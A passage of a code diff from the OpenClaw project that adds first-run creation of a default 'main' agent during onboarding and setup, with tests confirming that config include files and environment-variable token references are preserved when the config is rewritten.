path.join(configDir, "channels.json"); + const includeRaw = JSON.stringify({ channels: { telegram: { enabled: true } } }); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile(includePath, includeRaw); + await fs.writeFile( + configPath, + `{ + $include: "./channels.json", + gateway: { auth: { mode: "token", token: "\${OPENCLAW_TOKEN}" } } + }`, + ); + setTestEnvValue("OPENCLAW_TOKEN", "plaintext-secret"); + resetConfigRuntimeState(); + + const snapshot = await readConfigFileSnapshot(); + const candidate = { + ...snapshot.config, + gateway: { ...snapshot.config.gateway, mode: "local" as const }, + }; + const result = await ensureOnboardingAgent({ + config: candidate, + workspace: path.join(home, "workspace"), + baseConfig: snapshot.config, + }); + await replaceConfigFile({ nextConfig: result.config, afterWrite: { mode: "auto" } }); + + const persistedRaw = await fs.readFile(configPath, "utf8"); + expect(persistedRaw).toContain("${OPENCLAW_TOKEN}"); + expect(persistedRaw).not.toContain("plaintext-secret"); + expect(persistedRaw).toContain("./channels.json"); + expect(await fs.readFile(includePath, "utf8")).toBe(includeRaw); + }); + }); +}); diff --git a/src/commands/onboard-agent.test.ts b/src/commands/onboard-agent.test.ts new file mode 100644 index 000000000000..fa50e80b1647 --- /dev/null +++ b/src/commands/onboard-agent.test.ts @@ -0,0 +1,84 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + createAgent: vi.fn(), + readConfigFileSnapshot: vi.fn(), +})); + +vi.mock("../agents/agent-create.js", () => ({ createAgent: mocks.createAgent })); +vi.mock("../config/config.js", () => ({ readConfigFileSnapshot: mocks.readConfigFileSnapshot })); + +const { ensureOnboardingAgent } = await import("./onboard-agent.js"); + +describe("onboarding main-agent creation", () => { + beforeEach(() => { + vi.clearAllMocks(); + mocks.createAgent.mockResolvedValue({ + status: "existing", + agentId: "main", + name: "main", + workspace: "/tmp/work", + agentDir: "/tmp/agent", + bootstrapPending: true, + }); + mocks.readConfigFileSnapshot + .mockResolvedValueOnce({ + exists: false, + valid: true, + sourceConfig: { agents: { list: [{ id: "main", default: true }] }, gateway: {} }, + config: { agents: { list: [{ id: "main", default: true }] }, gateway: {} }, + }) + .mockResolvedValueOnce({ + exists: true, + valid: true, + sourceConfig: { + agents: { list: [{ id: "main", default: true }] }, + gateway: { controlUi: { enabled: true } }, + }, + config: { + agents: { list: [{ id: "main", default: true }] }, + gateway: { controlUi: { enabled: true } }, + }, + }); + }); + + it("provisions explicit main through createAgent on a fresh install", async () => { + const result = await ensureOnboardingAgent({ + config: { + agents: { defaults: { model: "openai/gpt-5.5" } }, + gateway: { mode: "local" }, + }, + workspace: "/tmp/work", + }); + + expect(mocks.createAgent).toHaveBeenCalledWith( + expect.objectContaining({ + entry: expect.objectContaining({ id: "main", default: true }), + }), + ); + expect(result).toMatchObject({ + agentId: "main", + config: { + agents: { + defaults: { model: "openai/gpt-5.5" }, + entries: { main: { default: true } }, + }, + gateway: { mode: "local", controlUi: { enabled: true } }, + }, + }); + }); + + it("preserves an explicit imported candidate roster", async () => { + const config = { agents: { list: [{ id: "main", default: true }] } }; + + await expect( + ensureOnboardingAgent({ + config, + workspace: "/tmp/work", + preserveCandidateRoster: true, + }), + ).resolves.toEqual({ config, agentId: "main", bootstrapPending: false }); + expect(mocks.readConfigFileSnapshot).not.toHaveBeenCalled(); + expect(mocks.createAgent).not.toHaveBeenCalled(); + }); +}); diff --git a/src/commands/onboard-agent.ts b/src/commands/onboard-agent.ts new file mode 100644 index 000000000000..738b421cac25 --- /dev/null +++ b/src/commands/onboard-agent.ts @@ -0,0 +1,112 @@ +// First-run main-agent creation through the canonical agent service. +import { createAgent } from "../agents/agent-create.js"; +import { + listAgentEntries, + resolveDefaultAgentId, + toAgentEntriesRecord, +} from "../agents/agent-scope-config.js"; +import { readConfigFileSnapshot } from "../config/config.js"; +import { createMergePatch } from "../config/io.write-prepare.js"; +import { applyMergePatch } from "../config/merge-patch.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; + +function isInjectedMainRoster(config: OpenClawConfig): boolean { + const roster = listAgentEntries(config); + const entry = roster[0]; + return ( + roster.length === 1 && + entry?.id === "main" && + entry?.default === true && + Object.keys(entry).every((key) => key === "id" || key === "default") + ); +} + +function mergeOnboardingCandidate(params: { + base: OpenClawConfig; + candidate: OpenClawConfig; + currentRuntime: OpenClawConfig; +}): OpenClawConfig { + const proposalPatch = createMergePatch(params.base, params.candidate); + // Keep this runtime-shaped. The canonical config writer projects only this + // patch onto snapshot.parsed, preserving include ownership and env refs. + const merged = applyMergePatch(params.currentRuntime, proposalPatch) as OpenClawConfig; + const { list: _legacyList, ...agents } = merged.agents ?? {}; + return { + ...merged, + agents: { + ...agents, + entries: toAgentEntriesRecord(listAgentEntries(params.currentRuntime)), + }, + }; +} + +export async function ensureOnboardingAgent(params: { + config: OpenClawConfig; + workspace: string; + preserveCandidateRoster?: boolean; + baseConfig?: OpenClawConfig; +}): Promise<{ config: OpenClawConfig; agentId: string; bootstrapPending: boolean }> { + const candidateRoster = listAgentEntries(params.config); + if ( + candidateRoster.length > 0 && + (params.preserveCandidateRoster || !isInjectedMainRoster(params.config)) + ) { + return { + config: params.config, + agentId: resolveDefaultAgentId(params.config), + bootstrapPending: false, + }; + } + const before = await readConfigFileSnapshot(); + if (before.exists && !before.valid) { + throw new Error("Cannot create the first agent from an invalid OpenClaw config."); + } + const effective = before.config; + const candidateBase = params.baseConfig ?? effective; + if (before.exists && listAgentEntries(effective).length > 0) { + return { + config: mergeOnboardingCandidate({ + base: candidateBase, + candidate: params.config, + currentRuntime: effective, + }), + agentId: resolveDefaultAgentId(effective), + bootstrapPending: false, + }; + } + const created = await createAgent({ + entry: { + id: "main", + name: "main", + default: true, + workspace: params.workspace, + }, + skipBootstrap: params.config.agents?.defaults?.skipBootstrap, + skipOptionalBootstrapFiles: params.config.agents?.defaults?.skipOptionalBootstrapFiles, + }); + if (created.status === "error") { + throw new Error(created.message); + } + const after = await readConfigFileSnapshot(); + if (!after.valid) { + throw new Error("Agent creation wrote an invalid OpenClaw config."); + } + return { + config: mergeOnboardingCandidate({ + base: candidateBase, + candidate: params.config, + currentRuntime: after.config, + }), + agentId: created.agentId, + bootstrapPending: created.bootstrapPending, + }; +} + +export function ensureOnboardingConfig( + config: OpenClawConfig, + workspace: string, + preserveCandidateRoster = false, + baseConfig?: OpenClawConfig, +) { + return ensureOnboardingAgent({ config, workspace, preserveCandidateRoster, baseConfig }); +} diff --git a/src/commands/onboard-guided.custodian.test.ts b/src/commands/onboard-guided.custodian.test.ts index a03981e51b1e..bddd9fc96a33 100644 --- a/src/commands/onboard-guided.custodian.test.ts +++ b/src/commands/onboard-guided.custodian.test.ts @@ -1,5 +1,6 @@ import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { createWizardPrompter } from "../../test/helpers/wizard-prompter.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { createSuiteLogPathTracker } from "../logging/log-test-helpers.js"; import { resetLogger } from "../logging/logger.js"; import { loggingState } from "../logging/state.js"; @@ -40,6 +41,16 @@ const readConfigFileSnapshot = vi.hoisted(() => const logPathTracker = createSuiteLogPathTracker("openclaw-guided-onboard-log-"); vi.mock("../config/config.js", () => ({ readConfigFileSnapshot })); +vi.mock("./onboard-agent.js", () => ({ + ensureOnboardingAgent: async ({ config }: { config: OpenClawConfig }) => ({ + config: { + ...config, + agents: { ...config.agents, list: [{ id: "main", default: true }] }, + }, + agentId: "main", + bootstrapPending: true, + }), +})); vi.mock("./onboard-helpers.js", () => ({ DEFAULT_WORKSPACE: "/tmp/openclaw-workspace", diff --git a/src/commands/onboard-guided.test.ts b/src/commands/onboard-guided.test.ts index 57c4df62ecc8..fa2c5c7ef481 100644 --- a/src/commands/onboard-guided.test.ts +++ b/src/commands/onboard-guided.test.ts @@ -49,6 +49,9 @@ const readConfigFileSnapshot = vi.hoisted(() => const logPathTracker = createSuiteLogPathTracker("openclaw-guided-onboard-log-"); vi.mock("../config/config.js", () => ({ readConfigFileSnapshot })); +vi.mock("./onboard-agent.js", () => ({ + ensureOnboardingAgent: async ({ config }: { config: OpenClawConfig }) => ({ config }), +})); vi.mock("./onboard-helpers.js", () => ({ DEFAULT_WORKSPACE: "/tmp/openclaw-workspace", diff --git a/src/commands/onboard-guided.ts b/src/commands/onboard-guided.ts index c44d0a95a865..623d23036b31 100644 --- a/src/commands/onboard-guided.ts +++ b/src/commands/onboard-guided.ts @@ -438,6 +438,10 @@ async function runGuidedOnboardingFlow( } else { // Announced default: apply the same setup plan the conversational "yes" // would, then hand off to the hatch instead of parking in the OpenClaw chat. + const { ensureOnboardingAgent } = await import("./onboard-agent.js"); + // Only fresh-file creation is a side effect here. Pre-roster authored persistence + // remains doctor-owned; the injected main roster is intentionally not flattened. + await ensureOnboardingAgent({ config: existingConfig, workspace, baseConfig: existingConfig }); const applySetup = deps.applySetup ?? (await import("../system-agent/setup-apply.js")).applySystemAgentSetup; const applyProgress = prompter.progress(t("wizard.guided.settingUp")); diff --git a/src/commands/onboard-helpers.ts b/src/commands/onboard-helpers.ts index 46ad6c3957d0..9a5295fe783f 100644 --- a/src/commands/onboard-helpers.ts +++ b/src/commands/onboard-helpers.ts @@ -247,10 +247,10 @@ function resolveSshTargetHint(): string { export async function ensureWorkspaceAndSessions( workspaceDir: string, runtime: RuntimeEnv, - options?: { + options: { skipBootstrap?: boolean; skipOptionalBootstrapFiles?: OptionalBootstrapFileName[]; - agentId?: string; + agentId: string; }, ): Promise<{ bootstrapPending: boolean }> { const ws = await ensureAgentWorkspace({ @@ -259,7 +259,7 @@ export async function ensureWorkspaceAndSessions( skipOptionalBootstrapFiles: options?.skipOptionalBootstrapFiles, }); runtime.log(`Workspace OK: ${shortenHomePath(ws.dir)}`); - const sessionsDir = resolveSessionTranscriptsDirForAgent(options?.agentId); + const sessionsDir = resolveSessionTranscriptsDirForAgent(options.agentId); await fs.mkdir(sessionsDir, { recursive: true }); runtime.log(`Sessions OK: ${shortenHomePath(sessionsDir)}`); return { bootstrapPending: ws.bootstrapPending === true }; diff --git a/src/commands/onboard-inference.test.ts b/src/commands/onboard-inference.test.ts index 386e94c1e826..52dec58c75a6 100644 --- a/src/commands/onboard-inference.test.ts +++ b/src/commands/onboard-inference.test.ts @@ -58,7 +58,12 @@ describe("detectInferenceBackends", () => { it("orders the ladder: existing model, logged-in subscriptions, env keys, then fallback CLIs", async () => { const candidates = await detectInferenceBackends({ - config: { agents: { defaults: { model: "zai/glm-5.2" } } }, + config: { + agents: { + defaults: { model: "zai/glm-5.2" }, + entries: { main: { default: true } }, + }, + }, env: { OPENAI_API_KEY: "sk-x", ANTHROPIC_API_KEY: "sk-y" }, platform: "linux", deps: { @@ -162,7 +167,12 @@ describe("detectInferenceBackends", () => { it("keeps the existing model first and definitively logged-out CLIs last", async () => { const candidates = await detectInferenceBackends({ - config: { agents: { defaults: { model: "zai/glm-5.2" } } }, + config: { + agents: { + defaults: { model: "zai/glm-5.2" }, + entries: { main: { default: true } }, + }, + }, env: { OPENAI_API_KEY: "sk-x" }, platform: "linux", deps: { @@ -215,6 +225,7 @@ describe("detectInferenceBackends", () => { model: { primary: "opus" }, models: { "anthropic/claude-opus-4-8": { alias: "opus" } }, }, + entries: { main: { default: true } }, }, }, env: {}, diff --git a/src/commands/onboard-non-interactive.gateway.test.ts b/src/commands/onboard-non-interactive.gateway.test.ts index b7296a648315..74c6bfa2bbff 100644 --- a/src/commands/onboard-non-interactive.gateway.test.ts +++ b/src/commands/onboard-non-interactive.gateway.test.ts @@ -6,7 +6,11 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { RuntimeEnv } from "../runtime.js"; import { makeTempWorkspace } from "../test-helpers/workspace.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; -import { createThrowingRuntime } from "./onboard-non-interactive.test-helpers.js"; +import { + createThrowingRuntime, + mockOnboardingAgent, +} from "./onboard-non-interactive.test-helpers.js"; +import type { WaitForGatewayReachableMock } from "./onboard-non-interactive.test-helpers.js"; import type { installGatewayDaemonNonInteractive } from "./onboard-non-interactive/local/daemon-install.js"; const ensureWorkspaceAndSessionsMock = vi.fn(async (..._args: unknown[]) => {}); @@ -29,18 +33,7 @@ const gatewayServiceMock = vi.hoisted(() => ({ const readLastGatewayErrorLineMock = vi.hoisted(() => vi.fn(async () => "Gateway failed to start: required secrets are unavailable."), ); -let waitForGatewayReachableMock: - | ((params: { - url: string; - token?: string; - password?: string; - deadlineMs?: number; - probeTimeoutMs?: number; - }) => Promise<{ - ok: boolean; - detail?: string; - }>) - | undefined; +let waitForGatewayReachableMock: WaitForGatewayReachableMock; function resolveTestConfigPath() { const override = process.env.OPENCLAW_CONFIG_PATH?.trim(); @@ -108,6 +101,8 @@ vi.mock("../config/config.js", () => ({ resolveGatewayPort: (cfg: OpenClawConfig) => cfg.gateway?.port ?? 18789, })); +vi.mock("./onboard-agent.js", () => ({ ensureOnboardingAgent: mockOnboardingAgent })); + vi.mock("./onboard-helpers.js", () => { const normalizeGatewayTokenInput = (value: unknown): string => { if (typeof value !== "string") { diff --git a/src/commands/onboard-non-interactive.test-helpers.ts b/src/commands/onboard-non-interactive.test-helpers.ts index 14e0051c634d..87220af17111 100644 --- a/src/commands/onboard-non-interactive.test-helpers.ts +++ b/src/commands/onboard-non-interactive.test-helpers.ts @@ -1,3 +1,5 @@ +import { listAgentEntries } from "../agents/agent-scope-config.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; // Non-interactive onboarding test helpers build runtime stubs that throw instead of exiting. import type { RuntimeEnv } from "../runtime.js"; @@ -9,6 +11,16 @@ type NonInteractiveRuntime = { exit: RuntimeLike["exit"]; }; +export type WaitForGatewayReachableMock = + | ((params: { + url: string; + token?: string; + password?: string; + deadlineMs?: number; + probeTimeoutMs?: number; + }) => Promise<{ ok: boolean; detail?: string }>) + | undefined; + export function createThrowingRuntime(): NonInteractiveRuntime { return { log: () => {}, @@ -20,3 +32,26 @@ export function createThrowingRuntime(): NonInteractiveRuntime { }, }; } + +export async function mockOnboardingAgent(params: { config: OpenClawConfig; workspace: string }) { + const roster = listAgentEntries(params.config); + const existing = roster.find((entry) => entry.default === true) ?? roster[0]; + if (existing) { + return { + config: params.config, + agentId: existing.id, + bootstrapPending: false, + }; + } + return { + config: { + ...params.config, + agents: { + ...params.config.agents, + entries: { main: { name: "main", workspace: params.workspace, default: true } }, + }, + }, + agentId: "main", + bootstrapPending: true, + }; +} diff --git a/src/commands/onboard-non-interactive/local.ts b/src/commands/onboard-non-interactive/local.ts index 6aef9cb05b81..7ab4a8b24c59 100644 --- a/src/commands/onboard-non-interactive/local.ts +++ b/src/commands/onboard-non-interactive/local.ts @@ -180,6 +180,7 @@ export async function runNonInteractiveLocalSetup(params: { defaultWorkspaceDir: DEFAULT_WORKSPACE, }); const workspaceConflict = resolveOnboardingWorkspaceConflict(baseConfig, requestedWorkspaceDir); + const workspaceDir = workspaceConflict?.currentWorkspaceDir ?? requestedWorkspaceDir; if (workspaceConflict) { runtime.error( [ @@ -198,6 +199,16 @@ export async function runNonInteractiveLocalSetup(params: { if (opts.skipBootstrap) { nextConfig = applySkipBootstrapConfig(nextConfig); } + const { ensureOnboardingAgent } = await import("../onboard-agent.js"); + const created = await ensureOnboardingAgent({ + config: nextConfig, + workspace: workspaceDir, + baseConfig, + }); + nextConfig = applyLocalSetupWorkspaceConfig(created.config, requestedWorkspaceDir); + if (opts.skipBootstrap) { + nextConfig = applySkipBootstrapConfig(nextConfig); + } const authTarget = resolveOnboardingAgentTarget(nextConfig); const inferredAuthChoice = opts.authChoice diff --git a/src/commands/sandbox-explain.ts b/src/commands/sandbox-explain.ts index ad65a042295b..84f5f59d2449 100644 --- a/src/commands/sandbox-explain.ts +++ b/src/commands/sandbox-explain.ts @@ -199,7 +199,13 @@ export async function sandboxExplainCommand( normalizeOptionalString(sessionEntry?.spawnedCwd) ?? effectiveAgentWorkspaceDir; const workspaceLayout = resolveSandboxWorkspaceLayoutPaths({ cfg: sandboxCfg, - rawSessionKey: sessionKey, + rawSessionKey: + sessionKey === "global" + ? buildAgentMainSessionKey({ + agentId: resolvedAgentId, + mainKey: normalizeMainKey(cfg.session?.mainKey), + }) + : sessionKey, workspaceDir: effectiveAgentWorkspaceDir, }); const sandboxWorkdir = getSandboxBackendWorkdirResolver(sandboxCfg.backend)?.({ diff --git a/src/commands/sessions-display-model.ts b/src/commands/sessions-display-model.ts index ff0897474a7f..9dcdb53d2c79 100644 --- a/src/commands/sessions-display-model.ts +++ b/src/commands/sessions-display-model.ts @@ -1,3 +1,4 @@ +import { resolveAgentConfig } from "../agents/agent-scope-config.js"; /** * Model display resolution for session listings. * @@ -48,8 +49,7 @@ function resolveAgentPrimaryModel( if (!agentId) { return undefined; } - const agentConfig = cfg.agents?.list?.find((agent) => agent.id === agentId); - return resolveAgentModelPrimaryValue(agentConfig?.model); + return resolveAgentModelPrimaryValue(resolveAgentConfig(cfg, agentId)?.model); } function normalizeStoredOverrideModel(params: { diff --git a/src/commands/sessions.acp-runtime-metadata.test.ts b/src/commands/sessions.acp-runtime-metadata.test.ts index 68aec2625feb..490580cbce9d 100644 --- a/src/commands/sessions.acp-runtime-metadata.test.ts +++ b/src/commands/sessions.acp-runtime-metadata.test.ts @@ -64,6 +64,7 @@ function buildConfigWithoutAgentRuntimePolicy(): OpenClawConfig { }, { id: "main", + default: true, }, ], // No `defaults.agentRuntime` either. diff --git a/src/commands/setup.test.ts b/src/commands/setup.test.ts index f5c89c6f641a..2bebb1979b20 100644 --- a/src/commands/setup.test.ts +++ b/src/commands/setup.test.ts @@ -3,8 +3,10 @@ import fs from "node:fs/promises"; import path from "node:path"; import { withTempHome } from "openclaw/plugin-sdk/test-env"; import { describe, expect, it, vi } from "vitest"; +import { resolveAgentWorkspaceDir } from "../agents/agent-scope.js"; import { createConfigIO } from "../config/io.js"; import { replaceConfigFile } from "../config/mutate.js"; +import type { OpenClawConfig } from "../config/types.js"; import { setupCommand } from "./setup.js"; function createSetupDeps(home: string) { @@ -71,11 +73,12 @@ describe("setupCommand", () => { const configPath = path.join(home, ".openclaw", "openclaw.json"); const raw = JSON.parse(await fs.readFile(configPath, "utf-8")) as unknown; - expect(raw).toStrictEqual({ + expect(raw).toMatchObject({ agents: { defaults: { workspace, }, + entries: { main: { default: true, workspace } }, }, gateway: { mode: "local", @@ -90,6 +93,7 @@ describe("setupCommand", () => { }), }), ); + expect(deps.resolveSessionTranscriptsDir).toHaveBeenCalledWith("main"); }); }); @@ -114,6 +118,81 @@ describe("setupCommand", () => { }); }); + it("updates the default entry workspace created by fresh setup", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const deps = createSetupDeps(home); + const initialWorkspace = path.join(home, "initial-workspace"); + const nextWorkspace = path.join(home, "next-workspace"); + + await setupCommand({ workspace: initialWorkspace }, runtime, deps); + await setupCommand({ workspace: nextWorkspace }, runtime, deps); + + const config = JSON.parse( + await fs.readFile(path.join(home, ".openclaw", "openclaw.json"), "utf8"), + ) as OpenClawConfig; + expect(resolveAgentWorkspaceDir(config, "main")).toBe(nextWorkspace); + expect(config.agents?.entries?.main?.workspace).toBe(nextWorkspace); + }); + }); + + it("keeps the default entry workspace on bare setup", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const workspace = "/srv/ops"; + const raw = JSON.stringify({ + agents: { entries: { ops: { default: true, workspace } } }, + gateway: { mode: "local" }, + }); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile(configPath, raw); + const deps = createSetupDeps(home); + + await setupCommand(undefined, runtime, deps); + + expect(await fs.readFile(configPath, "utf8")).toBe(raw); + expect(requireFirstWorkspaceParams(deps.ensureAgentWorkspace).dir).toBe(workspace); + expect(deps.resolveSessionTranscriptsDir).toHaveBeenCalledWith("ops"); + + const nextWorkspace = path.join(home, "next-ops-workspace"); + await setupCommand({ workspace: nextWorkspace }, runtime, deps); + const updated = JSON.parse(await fs.readFile(configPath, "utf8")) as OpenClawConfig; + expect(resolveAgentWorkspaceDir(updated, "ops")).toBe(nextWorkspace); + expect(updated.agents?.entries?.ops?.workspace).toBe(nextWorkspace); + }); + }); + + it("does not copy an entry workspace into defaults during a gateway-only write", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const workspace = "/srv/ops"; + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + configPath, + JSON.stringify({ + agents: { entries: { ops: { default: true, workspace } } }, + }), + ); + const deps = { + ensureAgentWorkspace: vi.fn(async () => ({ dir: workspace })), + formatConfigPath: (value: string) => value, + mkdir: vi.fn(async () => {}), + resolveSessionTranscriptsDir: vi.fn(() => path.join(home, "sessions")), + }; + + await setupCommand(undefined, runtime, deps); + + const config = JSON.parse(await fs.readFile(configPath, "utf8")) as OpenClawConfig; + expect(config.agents?.defaults?.workspace).toBeUndefined(); + expect(config.agents?.entries?.ops?.workspace).toBe(workspace); + expect(config.gateway?.mode).toBe("local"); + }); + }); + it("adds gateway.mode=local to an existing config without overwriting workspace", async () => { await withTempHome(async (home) => { const runtime = { @@ -150,6 +229,149 @@ describe("setupCommand", () => { }); }); + it("leaves an include-owned roster in its authored file", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const includePath = path.join(configDir, "agents.json"); + const workspace = path.join(home, "ops-workspace"); + const rootRaw = `{ + $include: "./agents.json" + }`; + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile(configPath, rootRaw); + await fs.writeFile( + includePath, + JSON.stringify({ + agents: { + defaults: { workspace }, + entries: { ops: { default: true } }, + }, + gateway: { mode: "local" }, + }), + ); + const deps = { + ensureAgentWorkspace: vi.fn(async () => ({ dir: workspace })), + formatConfigPath: (value: string) => value, + mkdir: vi.fn(async () => {}), + resolveSessionTranscriptsDir: vi.fn(() => path.join(home, "ops-sessions")), + }; + + await setupCommand(undefined, runtime, deps); + + expect(await fs.readFile(configPath, "utf8")).toBe(rootRaw); + expect(deps.resolveSessionTranscriptsDir).toHaveBeenCalledWith("ops"); + }); + }); + + it("updates only inherited workspace defaults beside an include-owned roster", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const includePath = path.join(configDir, "agents.json"); + const oldWorkspace = path.join(home, "old-workspace"); + const nextWorkspace = path.join(home, "next-workspace"); + const included = { + agents: { + defaults: { workspace: oldWorkspace }, + entries: { ops: { default: true, workspace: " " } }, + }, + gateway: { mode: "local" }, + }; + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile(configPath, JSON.stringify({ $include: "./agents.json" })); + await fs.writeFile(includePath, JSON.stringify(included)); + const deps = { + ensureAgentWorkspace: vi.fn(async () => ({ dir: nextWorkspace })), + formatConfigPath: (value: string) => value, + mkdir: vi.fn(async () => {}), + resolveSessionTranscriptsDir: vi.fn(() => path.join(home, "ops-sessions")), + }; + + await setupCommand({ workspace: nextWorkspace }, runtime, deps); + + const root = JSON.parse(await fs.readFile(configPath, "utf8")) as OpenClawConfig & { + $include?: string; + }; + expect(root.$include).toBe("./agents.json"); + expect(root.agents?.defaults?.workspace).toBe(nextWorkspace); + expect(root.agents?.entries).toBeUndefined(); + expect(JSON.parse(await fs.readFile(includePath, "utf8"))).toEqual(included); + }); + }); + + it("updates inherited workspace defaults below a nested roster include", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const includePath = path.join(configDir, "agents.json"); + const oldWorkspace = path.join(home, "old-workspace"); + const nextWorkspace = path.join(home, "next-workspace"); + const includedAgents = { + defaults: { workspace: oldWorkspace }, + entries: { ops: { default: true } }, + }; + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + configPath, + JSON.stringify({ agents: { $include: "./agents.json" }, gateway: { mode: "local" } }), + ); + await fs.writeFile(includePath, JSON.stringify(includedAgents)); + + await setupCommand({ workspace: nextWorkspace }, runtime, { + ensureAgentWorkspace: vi.fn(async () => ({ dir: nextWorkspace })), + formatConfigPath: (value: string) => value, + mkdir: vi.fn(async () => {}), + resolveSessionTranscriptsDir: vi.fn(() => path.join(home, "ops-sessions")), + }); + + const root = JSON.parse(await fs.readFile(configPath, "utf8")) as { + agents?: { + $include?: string; + defaults?: { workspace?: string }; + entries?: unknown; + }; + }; + expect(root.agents).toMatchObject({ + $include: "./agents.json", + defaults: { workspace: nextWorkspace }, + }); + expect(root.agents?.entries).toBeUndefined(); + expect(JSON.parse(await fs.readFile(includePath, "utf8"))).toEqual(includedAgents); + }); + }); + + it("persists a roster when existing setup settings already match", async () => { + await withTempHome(async (home) => { + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const configDir = path.join(home, ".openclaw"); + const configPath = path.join(configDir, "openclaw.json"); + const workspace = path.join(home, "workspace"); + await fs.mkdir(configDir, { recursive: true }); + await fs.writeFile( + configPath, + JSON.stringify({ + agents: { defaults: { workspace } }, + gateway: { mode: "local" }, + }), + ); + const deps = { + ensureAgentWorkspace: vi.fn(async () => ({ dir: workspace })), + formatConfigPath: (value: string) => value, + mkdir: vi.fn(async () => {}), + resolveSessionTranscriptsDir: vi.fn(() => path.join(home, "sessions")), + }; + + await setupCommand(undefined, runtime, deps); + + const config = JSON.parse(await fs.readFile(configPath, "utf8")) as OpenClawConfig; + expect(config.agents?.entries).toEqual({ main: { default: true } }); + }); + }); + it("threads skipOptionalBootstrapFiles into workspace creation", async () => { await withTempHome(async (home) => { const runtime = { diff --git a/src/commands/setup.ts b/src/commands/setup.ts index 2397ebc18473..6fde9e455c42 100644 --- a/src/commands/setup.ts +++ b/src/commands/setup.ts @@ -5,8 +5,19 @@ * running the full onboarding wizard. */ import fs from "node:fs/promises"; +import { + listAgentEntries, + resolveAgentEntry, + resolveDefaultAgentId, + toAgentEntriesRecord, +} from "../agents/agent-scope-config.js"; import { formatCliCommand } from "../cli/command-format.js"; +import { + configIncludeOwnsAgentRoster, + hasResolvedRosterBeforeMigrations, +} from "../config/agent-roster-provenance.js"; import type { ConfigWriteOptions, ReadConfigFileSnapshotForWriteResult } from "../config/io.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.js"; import type { OptionalBootstrapFileName } from "../config/types.agent-defaults.js"; import type { ConfigFileSnapshot, OpenClawConfig } from "../config/types.js"; import type { RuntimeEnv } from "../runtime.js"; @@ -42,7 +53,7 @@ type SetupCommandDeps = { opts: { path?: string; suffix?: string }, ) => void | Promise; mkdir?: (dir: string, options: { recursive: true }) => Promise; - resolveSessionTranscriptsDir?: () => string | Promise; + resolveSessionTranscriptsDir?: (agentId: string) => string | Promise; replaceConfigFile?: ReplaceConfigFile; }; @@ -116,9 +127,9 @@ async function logDefaultConfigUpdated( logConfigUpdated(runtime, opts); } -async function resolveDefaultSessionTranscriptsDir(): Promise { - const { resolveSessionTranscriptsDir } = await import("../config/sessions.js"); - return resolveSessionTranscriptsDir(); +async function resolveDefaultSessionTranscriptsDir(agentId: string): Promise { + const { resolveSessionTranscriptsDirForAgent } = await import("../config/sessions.js"); + return resolveSessionTranscriptsDirForAgent(agentId); } /** Prepares config, workspace, and session directories for a usable installation. */ @@ -145,32 +156,76 @@ export async function setupCommand( return; } - const cfg = snapshot.sourceConfig; - const defaults = cfg.agents?.defaults ?? {}; + const resolvedConfig = snapshot.config; + const shouldPersistRoster = + !snapshot.exists || + (!hasResolvedRosterBeforeMigrations(snapshot) && !configIncludeOwnsAgentRoster(snapshot)); + const cfg = shouldPersistRoster + ? (migratePersistedImplicitMainRoster(snapshot.sourceConfig).config as OpenClawConfig) + : snapshot.sourceConfig; + const authoredDefaults = cfg.agents?.defaults ?? {}; + const resolvedDefaults = resolvedConfig.agents?.defaults ?? authoredDefaults; + const defaultEntry = resolveAgentEntry(resolvedConfig, resolveDefaultAgentId(resolvedConfig)); + const defaultEntryWorkspace = defaultEntry?.workspace?.trim(); + const configuredWorkspace = defaultEntryWorkspace || resolvedDefaults.workspace; const workspace = - desiredWorkspace ?? defaults.workspace ?? (await resolveDefaultAgentWorkspaceDir(deps)); + desiredWorkspace ?? configuredWorkspace ?? (await resolveDefaultAgentWorkspaceDir(deps)); + // Bare setup is observational for an established roster. Only a caller + // override or fresh bootstrap owns a persisted workspace change. + const shouldWriteWorkspace = + !snapshot.exists || (desiredWorkspace !== undefined && configuredWorkspace !== workspace); + const shouldWriteGatewayMode = resolvedConfig.gateway?.mode === undefined; + const writeInheritedWorkspaceOverride = + snapshot.exists && + shouldWriteWorkspace && + !defaultEntryWorkspace && + configIncludeOwnsAgentRoster(snapshot); - const next: OpenClawConfig = { - ...cfg, - agents: { - ...cfg.agents, - defaults: { - ...defaults, - workspace, - }, - }, - gateway: { - ...cfg.gateway, - mode: cfg.gateway?.mode ?? "local", - }, - }; + // Keep the candidate runtime-shaped. replaceConfigFile persists only its + // diff against snapshot.parsed, never resolved include/env values wholesale. + let next: OpenClawConfig = snapshot.exists ? resolvedConfig : cfg; + if (shouldPersistRoster) { + const { list: _legacyList, ...agents } = next.agents ?? {}; + next = { + ...next, + agents: { 